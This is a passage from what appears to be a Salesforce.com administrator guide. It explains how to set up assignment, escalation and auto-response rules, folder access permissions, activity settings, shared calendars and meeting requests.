You may specify the Is Person Account field as the first column in account search layouts. Otherwise, Account
Name must be the first column.
For more information, see What is a Person Account? on page 54.

See Also:
Managing Page Layouts
Customizing a Call Center Directory
Overview of Page Layouts and Field-Level Security
Setting Field-Level Security
Setting Up Your Customer Portal

1045
Customize Managing Assignment Rules

RULES

Managing Assignment Rules


Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change assignment rules: “Customize Application”

Create assignment rules to automate your organization’s lead generation and support processes.

• Lead Assignment Rules - Specify how leads are assigned to users or queues as they are created manually, captured from
the web, or imported via the lead import wizards.
• Case Assignment Rules - Determine how cases are assigned to users or put into queues as they are created manually, using
Web-to-Case, Email-to-Case, On-Demand Email-to-Case, the Self-Service portal, the Customer Portal, Outlook, or
Lotus Notes.

Typically, your organization will have one rule for each overall purpose - for example, one lead assignment rule for importing
and a different lead assignment rule for web-generated leads; or one case assignment rule for standard use and one case
assignment rule for holiday use. For each rule type, only one rule can be in effect at any time. For a list of the maximum number
of rules allowed in each organization, see Salesforce.com Editions and Limits.
Each rule consists of multiple rule entries that specify exactly how the leads or cases are assigned. For example, your standard
case assignment rule may have two entries: cases with “Type equals Gold” are assigned to “Gold Service” queue, and cases
with “Type equals Silver” are assigned to “Silver Service” queue.
To create an assignment rule, click Setup ➤ Customize from the top of any page. Then select Leads or Cases, and click
Assignment Rules.

Sample Assignment Rule


The following case assignment rule assigns a case to a specific queue based on the account rating:
Rule Name — Hot Account Assignment
Rule Entries:

Order Criteria Assign To


1 ISPICKVAL(Account.Rating, "Hot") Tier 1 Support Queue
2 OR( ISPICKVAL(Account.Rating, "Warm") , Tier 2 Support Queue
ISPICKVAL(Account.Rating, "Cold") )

1046
Customize Managing Assignment Rules

For additional lead management rule examples, see Examples of Advanced Formula Fields on page 870.

See Also:
Setting Up Assignment Rules
Viewing and Editing Assignment Rules
Assigning Cases

Setting Up Assignment Rules

Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create assignment rules: “Customize Application”

To create an assignment rule:

1. Choose Setup ➤ Customize from the top of any page.


2. Select Leads or Cases, and click Assignment Rules.
3. Choose New, and give the rule a name. Specify whether you want this to be the active rule for leads or cases created
manually and via the web and email. Click Save.
4. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that
determines how leads or cases are processed. For each entry, you can specify the following:

Field Description
Order Sets the order in which the entry will be processed in the rule,
for example, 1, 2, 3.
Salesforce.com evaluates each entry in order and tries to match
the criteria of the entry. As soon as a match is found,
Salesforce.com processes the item and stops evaluating the
rule entries for that item. If no match is found, the item is
reassigned to either the default Web-to-Lead owner, the
administrator doing a lead import, or the default case owner.

Criteria Specifies conditions that the lead or case must match for it to
be assigned.
You can enter your rule criteria:

• Choose criteria are met and select the filter criteria


that a record must meet to trigger the rule. For example,
set a case filter to Priority equals High if you want

1047
Customize Managing Assignment Rules

Field Description
case records with the Priority field marked High to
trigger the rule.
If your organization uses multiple languages, enter filter
values in your organization's default language. You can
click the Advanced Options... link to add up to 25 filter
criteria, up to 255 characters.
• Choose formula evaluates to true and enter a
formula that returns a value of “True” or “False.”
Salesforce.com triggers the rule if the formula returns
“True.” For example, the formula AND(ISCHANGED(
Priority ), ISPICKVAL (Priority, "High")
) triggers a rule that changes the owner of a case when the
Priority field is changed to High. For information on
using formulas, see Building Formulas on page 878.

Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.

User Specifies the user or queue to which the lead or case will be
assigned if it matches the condition. Users specified here
cannot be marked “inactive” and they must have “Read”
permission on leads or cases.
Note that users assigned to a rule cannot be reassigned to a
profile that does not have the “Read” permission on leads or
cases. Furthermore, you cannot remove the “Read” permission
on leads or cases from a profile associated with a user assigned
to a rule.
If your organization uses divisions, leads are assigned to the
default division of the user or queue specified in this field.
Cases inherit the division of the contact to which they are
related, or are assigned to the default global division if no
contact is specified.

Do Not Reassign Owner Specifies that the current owner on a lead or case will not be
reassigned to the lead or case when it is updated.
Email Template Specifies the template to use for the email that is automatically
sent to the new owner. If no template is specified, no email
will be sent. When assigning a lead or case to a queue, the
notification goes to the Queue Email address specified for
the queue and all queue members.
Predefined Case Teams Specifies the predefined case team(s) to add to a case when it
matches the condition. A case team is a team of users that
work together on a case. For example, your case team may
include a support rep, support manager, and a product

1048
Customize Managing Assignment Rules

Field Description
manager. For more information, see Predefining Case Teams
on page 2310.

Click the Lookup icon ( ) to select a predefined case team


to add to the assignment rule. To add more predefined case
teams, click Add Row to add a new row with which you can
add a predefined case team.

Replace any existing predefined case teams Specifies that any existing predefined case teams on the case
on the case are replaced with the predefined case teams on the condition,
when a case matches the condition. For more information,
see Predefining Case Teams on page 2310.

After creating the entry, click Save, or Save & New to save the entry and create more entries.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch any
leads or cases that the previous rule entries did not assign.

Tip: Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Managing Assignment Rules
Viewing and Editing Assignment Rules

1049
Customize Managing Escalation Rules

Viewing and Editing Assignment Rules

Lead Assignment Rules available in: Group, Professional, Enterprise, Unlimited, and Developer Editions
Case Assignment Rules available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change assignment rules: “Customize Application”
To view assignment rules: “View Setup and Configuration”

To view and edit assignment rules:

• To edit the name of a rule, click Rename next to the rule name.
• To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.

See Also:
Setting Up Assignment Rules
Managing Assignment Rules

Managing Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change escalation rules: “Customize Application”

Create case escalation rules to escalate cases automatically if they are not resolved within a certain period of time.
Typically, your organization will have one escalation rule that consists of multiple rule entries which specify exactly how the
cases are escalated. For example, your standard case escalation rule may have two entries: cases with Type set to Gold are
escalated within two hours, and cases with Type set to Silver are escalated within eight hours.
For a list of the maximum number of rules allowed in each organization, see Salesforce.com Editions and Limits.

1050
Customize Managing Escalation Rules

For information on debugging escalation rules, see What is a Debug Log? on page 1556.

See Also:
Setting Up Escalation Rules
Viewing and Editing Escalation Rules

Setting Up Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create escalation rules: “Customize Application”

To create an escalation rule:

1. Choose Setup ➤ Customize ➤ Cases ➤ Escalation Rules.


2. Choose New, and give the rule a name. Specify whether you want this to be the active escalation rule. Click Save.
3. To create the rule entries, click New. Each rule can have a maximum of 3000 entries. Each entry defines a condition that
determines how cases are processed. For each entry, you can specify the following:

Field Description
Order Sets the order in which the entry will be processed in the
rule, for example, 1, 2, 3.
Salesforce.com evaluates each entry in order and tries to
match the criteria of the entry. As soon as a match is found,
Salesforce.com processes the item and stops evaluating the
rule entries for that item. If no match is found, the case is
simply not escalated.

Criteria Specifies conditions that the case must match for it to be


escalated.
You can enter your rule criteria:

• Choose criteria are met and select the filter criteria


that a record must meet to trigger the rule. For example,
set a case filter to Priority equals High if you
want case records with the Priority field marked High
to trigger the rule.
If your organization uses multiple languages, enter filter
values in your organization's default language. You can
click the Advanced Options... link to add up to 25 filter
criteria, up to 255 characters.

1051
Customize Managing Escalation Rules

Field Description
• Choose formula evaluates to true and enter a
formula that returns a value of “True” or “False.”
Salesforce.com triggers the rule if the formula returns
“True.” For example, the formula AND(ISCHANGED(
Priority ), ISPICKVAL (Priority, "High")
) triggers a rule that changes the owner of a case when
the Priority field is changed to High.For information
on using formulas, see Building Formulas on page 878.

Note that if your condition uses a custom field, the rule entry
will automatically be deleted if the custom field is deleted.

Specify business hours criteria Specifies how business hours apply to an escalated case:
• Ignore business hours - Select this field to ignore
business hours when escalating a case.
• Use business hours specified on case - Select
this field to use the existing business hours on a case
when escalating it.
• Set business hours - Select this field and click the
lookup icon ( ) to select predefined business hours to
apply to a case when escalating it.

Escalation actions only run during the business hours with


which they are associated. For more information, see Setting
Business Hours on page 1095.

Specify how escalation times are set Determines what field applies to your Age Over number
of hours. Your Age Over setting can be based on the
number of hours since:
• A case was created
• The case was created unless it has been modified; once
modified, the case will never get escalated
• The most recent time a case was modified
For example, if you choose Based on last
modification time of the case and your Age Over
setting is 5, cases will get escalated 5 hours after the most
recent last modified time and date as long as the case is open.

4. After creating the entry, click Save, or Save & New to save the entry and create more entries.
5. After you create the last entry, click Save. The escalation rule and a list of one or more rule entries are displayed.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch
any cases that the previous rule entries did not assign.

6. Specify what action you want to be taken when one of the escalation rule entries is true. Click Edit next to the name of
one of the rule entries.

1052
Customize Managing Escalation Rules

7. Click New to add an escalation action. You can specify up to five actions for each rule entry, to escalate the case over
increasing periods of time. For each escalation action, you can specify the following:

Field Description
Age Over Specifies the number of hours after which a case should be
escalated if it has not been closed. This time is calculated
from the date field set in the Specify how escalation
times are set field. No two escalation actions can have
the same number in this field.
Assign To Specifies the user, partner user, or queue to which the case
will be assigned if it matches the condition. Users specified
here cannot be marked “inactive” and they must have the
“Read” permission on cases.
Users assigned to the rule cannot be reassigned to a profile
that does not have the “Read” permission on cases.
Furthermore, you cannot remove the “Read” permission on
cases from a profile associated with a user assigned to the
rule.
Note that reassigning an escalated case is optional.

Notification Template Specifies the template to use for the email that is
automatically sent to the new owner specified in the Assign
To field. If no template is specified, no email will be sent.

Notify this user Specifies the user to notify when the case is escalated.
Notifying another user is optional.
Notify Case Owner Indicates that the owner of the case is notified when the case
is escalated.
Notification Template Specifies the template to use for the notification email that
is automatically sent to the Notify user(s). If you choose a
user in the Notify field, you must select a template.
Additional Emails Specifies additional individuals that you want to notify upon
escalation.

Note: Each time you save a case or change the case owner, your escalation rules re-evaluate that case. Once the case
matches an escalation rule entry, calculates when the case should be escalated and stops checking other escalation rule
entries. For example, if you have two escalation rule entries that specify:

• Escalate three hours after creation date if Case Reason equals Crash
• Escalate four hours after creation date if Case Reason equals Bug

A case created with Case Reason of Bug will be scheduled for escalation four hours after it was created. Later, a
user changes the case, which causes the escalation rules to re-evaluate the case. If escalation rules find that the Case
Reason is now Crash, it schedules the case to be escalated three hours after creation date. If the case was created more
than three hours ago, the case is escalated as soon as possible.

1053
Customize Managing Escalation Rules

Escalation rules are not evaluated when transferring multiple cases at one time from a case list view. Also note that if
you use assignment rules to change case ownership, the escalation rules are evaluated before any assignment rules.

Tip: Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Managing Escalation Rules
Viewing and Editing Escalation Rules
Monitoring the Case Escalation Rule Queue

Viewing and Editing Escalation Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change escalation rules: “Customize Application”

To view and edit escalation rules:

• To edit the name of a rule, click Rename next to the rule name.
• To edit the entries for a rule, choose the rule name from the list of rules. Click New to add an entry; choose Edit or Del
to edit or delete an entry; select Reorder to change the order in which the entries apply. Each rule can have a maximum
of 3000 entries.

See Also:
Managing Escalation Rules
Setting Up Escalation Rules
Monitoring the Case Escalation Rule Queue

1054
Customize Setting Up Auto-Response Rules

Setting Up Auto-Response Rules


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create auto-response rules: “Customize Application”

An auto-response rule is a set of conditions for sending automatic email responses to lead or case submissions based on the
attributes of the submitted record. Applicable leads include those captured through a Web-to-Lead form. Applicable cases
include those submitted through a:

• Self-Service portal
• Customer Portal
• Web-to-Case form
• Email-to-Case message
• On-Demand Email-to-Case message

You can create as many response rules as you like based on any attribute of the incoming lead or case, but only one rule for
leads and one for cases can be active at a time. The email responses are listed in the Activity History related list of the lead or
contact and the Email related list on cases.

Creating Auto-Response Rules


To create a Web-to-Lead response rule, click Setup ➤ Customize ➤ Leads ➤ Auto-Response Rules. To create a response
rule for cases, click Setup ➤ Customize ➤ Cases ➤ Auto-Response Rules. On the Auto-Response Rules page:
1. Click New.
2. Enter the rule name.
3. Check the active box to make this rule the only one activated.
4. Click Save.
5. Create rule entries.

Creating Response Rule Entries


1. Click New from the rule detail page.
2. Enter a number to specify the order this entry should be processed.
The rule processes entries in this order and stops processing at the first matching entry and then sends the email using the
specified email template. If no response rules apply, the rule uses the default template you specify on the Web-to-Case or
Web-to-Lead Settings page.
Note: To create an error-proof rule, always create the last rule entry with no criteria. This rule entry will catch
any leads or cases that the previous rule entries did not. This is especially important for Email-to-Case and
On-Demand Email-to-Case which do not have default templates.

3. Enter your rule criteria:

1055
Customize Setting Up Auto-Response Rules

• Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
a case filter to Priority equals High if you want case records with the Priority field marked High to trigger
the rule.
If your organization uses multiple languages, enter filter values in your organization's default language. You can click
the Advanced Options... link to add up to 25 filter criteria, up to 255 characters.
• Choose formula evaluates to true and enter a formula that returns a value of “True” or “False.” Salesforce.com
triggers the rule if the formula returns “True.” For example, the formula
AND(ISPICKVAL(Priority,"High"),Version<4.0) triggers a rule that automatically responds with the selected
template if the Priority field on a case is set to High and the value of a custom field named Version on the case
is less than four. For information on using formulas, see Building Formulas on page 878.

4. Enter an email sender’s name.


5. Enter an email address for the sender.
6. Select an email template.
7. Click Save.

Managing Auto-Response Rules


After you've set up your auto-response rules and rule entries:
• Click Edit to change the rule name.
• Click New next to the Rule Entries list to create a new rule entry. Each rule can have a maximum of 3000 entries.
• Click Reorder next to the Rule Entries list to change the order they are processed.
• Click Edit next to a rule entry to change it.
• Click Del next to a rule entry to delete it.
Tip: Salesforce.com processes any rules in the following order:

1. Validation rules
2. Assignment rules
3. Auto-response rules
4. Workflow rules (with immediate actions)
5. Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

For a list of the maximum number of rules allowed in each organization, see Salesforce.com Editions and Limits. For information
on debugging response rules, see What is a Debug Log? on page 1556.

See Also:
Differences Between Auto-Response Rules and Workflow Alerts

1056
Customize Managing Folders

Differences Between Auto-Response Rules and Workflow Alerts


Auto-response rules available in: Professional, Enterprise, Unlimited, and Developer Editions
Workflow alerts available in: Enterprise, Unlimited, and Developer Editions

Auto-response rules and workflow alerts provide similar functionality. The following table lists some of the differences between
workflow alerts and auto-response rules to help you determine which process to use:

Type of Process Designed For Runs When Sends Email To Number of Emails
Sent
Workflow alerts Notifications to A case or lead is created Anyone you choose who Sends as many emails as
interested parties. or edited. is associated to the Case there are matching
or Lead object. criteria in the workflow.
Auto-response rules Initial response to the A case or lead is Contact on a case or the Sends one email based
contact who created a created. person who submitted on the first rule entry
case or the person who the lead on the Web. criteria it matches in a
submitted the lead on sequence of rule entries.
the Web.

Managing Folders
Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed


To create, edit, or delete public document folders: “Manage Public Documents”
To create, edit, and delete public email template folders: “Manage Public Templates”
To create, edit, and delete public report folders: “Manage Public Reports”
To create, edit, and delete public dashboard folders: “Manage Dashboards”
AND
“View All Data”

A folder is a place where you can store documents, dashboards, reports, or email templates. You control who has access to a
folder based on roles, public groups, or your entire organization. Alternatively, you can make a folder private, preventing any
other users from viewing it.

1057
Customize Managing Folders

• To access document folders, click the Documents tab. See Document Library Overview for information on displaying the
Documents tab.
• To access email template folders, click Setup ➤ Communication Templates ➤ Email Templates.
• To access report folders, click the Reports tab, or to manage all of your organization’s report folders, click Setup ➤
Customize ➤ Reports.
• To access dashboard folders, click the Dashboards tab. See Dashboards Overview on page 2178 for more information on
dashboards.

To create a new folder, click Create New Folder.


To edit a folder, click Edit next to the folder name. Alternatively, select a folder name from the Folder drop-down list and
click Edit.
Note: You can modify the contents of a folder only if the folder access level is set to Read/Write. Only users with the
“Manage Public Documents” or “Manage Public Templates” can delete or change a Read Only folder. Regardless of
permissions or folder settings, users can't edit any unfiled or personal folders.

Controlling Access to Report Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three
different types of report folders: public, hidden, and shared folders.
Public Folders
The following settings apply to folders with either of the following visibility settings:
• This folder is accessible by all users, including portal users
• This folder is accessible by all users, except for portal users

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read Any of the following: Any of the following:
• “Run Reports” • “Run Reports”
• “Manage Public Reports” • “Manage Public Reports”
• “View All Data” • “View All Data”

Write New “Manage Public Reports” “Create and Customize Reports”


Modify/Delete “Manage Public Reports” “Manage Public Reports”

Hidden Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read “View All Data” “View All Data”
Write New “Manage Public Reports” “Manage Public Reports”
Modify/Delete “Manage Public Reports” “Manage Public Reports”

1058
Customize Managing Folders

Shared Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read Any of the following: Any of the following:
• “Run Reports” (for shared users) • “Run Reports” (for shared users)
• “Manage Public Reports” • “Manage Public Reports”
• “View All Data” • “View All Data”

Write New “Manage Public Reports” “Create and Customize Reports” (for shared
users)
Modify/Delete “Manage Public Reports” “Manage Public Reports”

Controlling Access to Dashboard Folders


Folder access is controlled by permissions. The following tables show the permissions that users must have to access the three
different types of dashboard folders: public, hidden, and shared folders.
Public Folders
The following settings apply to folders with either of the following visibility settings:
• This folder is accessible by all users, including portal users
• This folder is accessible by all users, except for portal users

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read “Run Reports” “Run Reports”
Write New All of the following: Both of the following:
• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data”

Modify/Delete All of the following: All of the following:


• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data” • “View All Data”

Hidden Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read Both of the following: Both of the following:
• “Run Reports” • “Run Reports”
• “View All Data” • “View All Data”

1059
Customize Managing Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Write New All of the following: All of the following:
• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data” • “View All Data”

Modify/Delete All of the following: All of the following:


• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data” • “View All Data”

Shared Folders

Access Level Permissions to Access Read-Only Folders Permissions to Access Read/Write Folders
Read “Run Reports” “Run Reports”
Write New All of the following: Both of the following:
• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data”

Modify/Delete All of the following: All of the following:


• “Run Reports” • “Run Reports”
• “Manage Dashboards” • “Manage Dashboards”
• “View All Data” • “View All Data”

See Also:
Creating and Editing Folders
Deleting Folders
Filing Items in Folders

1060
Customize Managing Folders

Creating and Editing Folders


Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed


To create, edit, or delete public document folders: “Manage Public Documents”
To create, edit, and delete public email template folders: “Manage Public Templates”
To create, edit, and delete public report folders: “Manage Public Reports”
To create, edit, and delete public dashboard folders: “Manage Dashboards”
AND
“View All Data”

To create a new folder, click Create New Folder from any page that lists folders.
To change a folder, click Edit next to the folder name from any page that lists folders.

1. Enter a Folder Label. The label is used to refer to the folder on user interface pages.
2. If you have the “Customize Application” permission, enter a unique name to be used by the API and managed packages.
This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. The
unique name lets developers change certain components' names or titles in a managed package and the changes are reflected
in a subscriber's organization.
3. Choose a Public Folder Access option. Select read/write if you want users to be able to change the folder contents.
A read-only folder can be visible to users but none will be able to change its contents.
4. Select an unfiled report, dashboard, or template and click Add to store it in the new folder. Skip this step for document
folders.
5. Choose a folder visibility option:

• This folder is accessible by all users, including portal users gives folder access to all users
in your organization, including portal users.
• This folder is accessible by all users, except for portal users gives folder access to all users
in your organization, but denies access to portal users. This option is only available for report and dashboard folders in
organizations with a partner portal or Customer Portal enabled. If you don't have a portal, you won't see it.
• This folder is hidden from all users makes the folder private.
• This folder is accessible only by the following users allows you to grant access to a desired set of
users:

a. Choose “Public Groups”, “Roles,” “Roles and Subordinates,” “Roles, Internal and Portal Subordinates” (if you have
portals enabled), “Territories,” or “Territories and Subordinates” from the Search drop-down list. The choices
vary by Edition and whether your organization has territory management.

1061
Customize Managing Folders

Note: When you share a folder with a group, managers of the group members have no access to the folder
unless those managers are also members of the group.

b. If the Available for Sharing list does not immediately display the desired value, enter search criteria and
click Find.
c. Select the desired value from the Available for Sharing list and click Add to move the value to the Shared
To list.

6. Click Save.

See Managing Folders for the required permissions to create new folders.

See Also:
Deleting Folders
Filing Items in Folders

Deleting Folders
Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed


To create, edit, or delete public document folders: “Manage Public Documents”
To create, edit, and delete public email template folders: “Manage Public Templates”
To create, edit, and delete public report folders: “Manage Public Reports”
To create, edit, and delete public dashboard folders: “Manage Dashboards”
AND
“View All Data”

You can only delete folders that are empty. Before you begin, remove all the documents, dashboards, templates, or reports
from the folder you would like to delete.

1. Click Edit next to the folder name from any page that lists folders.
2. Click Delete.
3. Click OK to confirm.

See Managing Folders for the required permissions to delete a folder.

1062
Customize Managing Folders

Filing Items in Folders


Available in: All Editions
Report folders not available in: Contact Manager, Group, and Personal Editions

User Permissions Needed


To create, edit, or delete public document folders: “Manage Public Documents”
To create, edit, and delete public email template folders: “Manage Public Templates”
To create, edit, and delete public report folders: “Manage Public Reports”
To create, edit, and delete public dashboard folders: “Manage Dashboards”
AND
“View All Data”

To move a document, dashboard, report, or email template to a different folder:

1. Select the item to be stored in a folder.


2. Click Edit Properties.
3. Choose another folder.
4. Click Save.

See Managing Folders for the necessary permissions to perform this task.
Just like report folders contain reports and email template folders contain email templates, document folders can only contain
documents. To store an attachment in a document folder, save the attachment to your computer and upload it to the document
library.
Note: Email templates that are used by Web-to-Case, Web-to-Lead, assignment rules, or escalation rules must be
marked as “Available for Use.”

1063
Customize Customizing Activity Settings

ACTIVITIES

Customizing Activity Settings


The availability of these settings varies by Edition. However, most are available in All Editions.

User Permissions Needed


To view activity settings: “View Setup and Configuration”
To customize activity settings: “Customize Application”

On the Activity Settings page at Setup ➤ Customize ➤ Activities ➤ Activity Settings, you can turn the following settings
on or off for your organization:

• Enable Group Tasks


• Enable Sidebar Calendar Shortcut
• Enable Creation of Recurring Events
• Enable Creation of Recurring Tasks
• Enable Activity Reminders
• Enable Email Tracking
• Show Event Details on Multi-User Calendar View
• Enable Multiday Events
• Show Custom Logo in Meeting Requests
• Show Requested Meetings in the Calendar Section on the Home Tab

Enable Group Tasks


On by default for all Editions. When selected, this checkbox allows users to assign independent copies of a new task to
multiple users. For more information, see Creating Group Tasks on page 134.

Enable Sidebar Calendar Shortcut


Available in all Editions. Select this checkbox to display a shortcut link to a user's last used calendar view in the sidebar:
. In the sidebar, the calendar shortcut displays above the Recent Items component. For more information on the
sidebar, see About the Sidebar on page 49.

Enable Creation of Recurring Events


Available in all Editions. Select this checkbox to allow users to create events that repeat at specified intervals.

Enable Creation of Recurring Tasks


Available in all Editions. Select this checkbox to allow users to create tasks that repeat at specified intervals. If you disable
this setting, users can still edit the interval of an existing recurring task, but cannot create new recurring tasks.

1064
Customize Customizing Activity Settings

Enable Activity Reminders


Available in all Editions. Select this checkbox to enable activity reminders for your organization.
Salesforce.com can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of
an upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged
in to Salesforce.com. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur
since the last time the user logged out are shown in the reminder window.
If you disable reminders, users won't be reminded of tasks or events that have reminders set, they will no longer be able
to add new reminders, and they will not be able to configure default reminders. Existing settings and reminders on tasks
and events aren't retained if you later re-enable reminders. When you re-enable reminders, users only receive them for
tasks and events that have been created or updated since you re-enabled the setting.
For more information, see Setting Reminders on Activities on page 102.

Enable Email Tracking


Available in Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions. Outbound HTML
emails are tracked by default if your organization uses HTML email templates. You can select or deselect this checkbox
to control email tracking. If you disable email tracking, email tracking information for your organization is no longer
stored. However, the HTML Email Status related list remains on page layouts and email tracking reports remain on
the Reports tab.

Show Event Details on Multi-User Calendar View


Available in Professional, Enterprise, Unlimited, and Developer Editions. If your organization-wide calendar sharing
includes Show Details or if you are the manager of another user in the role hierarchy, group calendar views typically
display the details of users' events when you hover your mouse over the “busy” areas of the calendar. When you select
the Show Event Details on Multi-User Calendar View checkbox, event details display on-screen rather
than in mouse over text. This setting applies to daily, weekly, and monthly group calendar views for all users. Group
calendar views include multi-user calendar views and public resource calendars.
Note: Enabling this setting does not override calendar sharing. If a user's calendar details are not visible to other
users because of calendar sharing or the user's position in the role hierarchy, this setting respects that lack of
visibility.

Enable Multiday Events


Available and enabled by default in all Editions. When this checkbox is selected, Salesforce.com supports events that
end more than one day (24 hours) after they start. For information on creating multiday events, see Creating Events on
page 122. For information on creating multiday events using the API, see the Force.com Web Services API Developer's
Guide. You must use version 13.0 or later of the API to create a multiday event using the API

Show Custom Logo in Meeting Requests


Available in all Editions. Select this checkbox to upload a custom logo that displays in meeting request emails and on
the meeting's Web page that invitees see when you invite them to a group event or request a meeting with them. You
can only select logos that have been uploaded to the Documents tab and made externally available. See the logo guidelines
for information about size limitations, supported file formats, and tips.

1065
Customize Managing Public and Resource Calendars

Show Requested Meetings in the Calendar Section on the Home Tab


Available in all Editions. Select this checkbox to display the Requested Meetings subtab in the Calendar on the Home
tab. This subtab lists the meetings a user has requested but not confirmed. See About the Request a Meeting Feature
on page 138 and Setting Up the Request a Meeting Feature on page 1068.

See Also:
Customizing User Interface Settings

Managing Public and Resource Calendars


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage public calendars: “Customize Application”
To manage resource calendars: “Customize Application”

In contrast to users' individual calendars, public and resource calendars are for managing group activities or shared resources.
Using public calendars, a group of people can track events of interest to all of them (such as marketing events, product releases,
or training classes) or schedule a common activity (such as a team vacation calendar). For example, your marketing team can
set up an events calendar to show upcoming marketing events to the entire sales and marketing organization.
With resource calendars, multiple people can coordinate their usage of a shared resource such as a conference room or overhead
projector.
To display a list of the currently-defined public and resource calendars, click Setup ➤ Customize ➤ Activities ➤ Public
Calendars & Resources.
From the list page, you can perform the following tasks:

• To view the properties of a calendar, click its name in the list.


• To edit calendar properties, click Edit.
• To create a new public calendar or resource:

1. Click New.
2. Give the calendar or resource a name, and check Active.
3. Click Save.
4. To make the new calendar or resource available to others, click Sharing. Add the public groups, roles, or users with
whom you want to share the calendar.
5. In Calendar Access, specify how to share the calendar by selecting one of the following:

1066
Customize Deleting a Public Calendar

Sharing Model Results


Hide Details Others can see whether given times are available, but
cannot see any other information about the nature of events
in the calendar.
Hide Details and Add Events Others can see whether given times are available, but
cannot see details of events. Other users can insert events
in the calendar.
Show Details Others can see detailed information about events in the
calendar.
Show Details and Add Events Others can see detailed information about events in the
calendar and can insert events in the calendar.
Full Access Others can see detailed information about events in the
calendar, insert events in the calendar, and edit existing
events in the calendar.

Note: Users need the appropriate “Read” permission to see the related record of any activity. For example, an event
invitee who does not have “Read” permission on cases will not be able to view the case associated with the event.

See Also:
Deleting a Public Calendar
Creating Activities
Administrator tip sheet: Setting Up Group Calendaring

Deleting a Public Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete a public calendar: “Customize Application”

1. Click Setup ➤ Customize ➤ Activities ➤ Public Calendars & Resources.


2. Click Del next to the name of the calendar you want to delete.

See Also:
Managing Public and Resource Calendars

1067
Customize Setting Up the Request a Meeting Feature

Setting Up the Request a Meeting Feature


Available in: All Editions

User Permissions Needed


To customize page layouts and activity settings: “Customize Application”

To let your users request meetings with customers (contacts, leads, and person accounts):

1. Enable the new user interface theme. See Customizing User Interface Settings on page 1247.
Users can't request meetings with customers if the new user interface theme is disabled.
2. Add the New Meeting Request button to the Open Activities related list on these page layouts:

• Contacts
• Leads
• Person Accounts (if enabled)
For users to request a meeting with a person account, you also need to add the Email field to the page layout, which
is located at Setup ➤ Customize ➤ Accounts ➤ Person Accounts ➤ Page Layouts.

See Customizing Related Lists on page 1034 for detailed instructions.


3. Make sure users have the “Send Email” and “Edit Events” user permissions (these permissions are automatically selected
in most standard profiles). For more information, see Viewing Profile Lists on page 463.
If users don't have this permission, they:

• Won't see the New Meeting Request button on the Open Activities related list
• Can't edit, reschedule, or cancel requested meetings

4. (Optional) Ask your users to install Connect for Outlook or Connect for Lotus Notes.
We recommend users sync their calendar events between Salesforce.com and Outlook or Lotus Notes so they can propose
meeting times based on their availability displayed in their Salesforce.com calendar.
5. (Optional) Add your company logo to the meeting requests sent to invitees.
See Customizing Activity Settings on page 1064.
6. (Optional) Show requested meetings in the Calendar section on the Home tab.
See Customizing Activity Settings on page 1064.
7. (Optional) Enable your Partner users to request meetings.

1068
Customize Setting Up the Request a Meeting Feature

Field-Level Security Requirements


In most cases, you don't need to change field-level security settings to allow users to request meetings. However, if your
organization has changed the default field-level security settings for certain profiles, refer to the following table to make sure
those changes don't prevent users from requesting meetings.

Object Field Required Field-Level Description


Security Setting
Event Name Visible (with Read-Only If this field isn't set to Visible, the New Meeting
not selected) Request button doesn't display on the Open Activities
related list, and an “insufficient privileges” message
appears when trying to change (confirm or reschedule)
